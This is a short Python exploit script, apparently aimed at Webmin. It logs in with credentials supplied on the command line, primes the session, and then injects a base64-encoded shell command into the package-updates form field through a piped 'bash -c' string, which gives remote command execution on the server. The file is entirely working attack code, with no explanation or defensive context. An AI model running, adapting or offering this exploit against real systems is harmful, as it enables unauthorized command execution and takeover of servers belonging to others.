#!/usr/bin/python
import requests
import sys
import urllib3
import base64

urllib3.disable_warnings()

host = sys.argv[1]
usr = sys.argv[2]
pw = sys.argv[3]
cmd = " ".join(sys.argv[4:])

cmd = base64.b64encode(cmd.encode("utf-8")).decode("utf-8")
ses = requests.session()

ses.cookies.set("testing", "1")

print("[+] logging in")

r = ses.post("%s/session_login.cgi" % (host), allow_redirects=False, verify=False, data={
    "page": "",
    "user": usr,
    "pass": pw
})

sid = None

if r.status_code == 302 and ses.cookies.get("sid"):
    print("[+] got session")
    sid = ses.cookies.get("sid")
else:
    print("[-] login failed")
    exit()

ses.cookies.pop("testing")

r = ses.post("%s/proc/index_tree.cgi" % (host), allow_redirects=False, verify=False, headers={
    "Referer": "%s/sysinfo.cgi?xnavigation=1" % (host)
})

if r.status_code != 200:
    print("[-] nope")
    exit()

print("[+] setup successful")

r = ses.post("%s/package-updates/update.cgi" % (host), allow_redirects=False, verify=False, headers={
    "Referer": "%s/package-updates/?xnavigation=1" % (host)
}, data={
    "u": ["acl/apt", " | bash -c \"{echo," + cmd + "}|{base64,-d}|{bash,-i}\""],
    "ok_top": "Update Selected Packages"
})

print("[+] payload dispatched")

print(r.status_code)
print(r.headers)
print(r.text)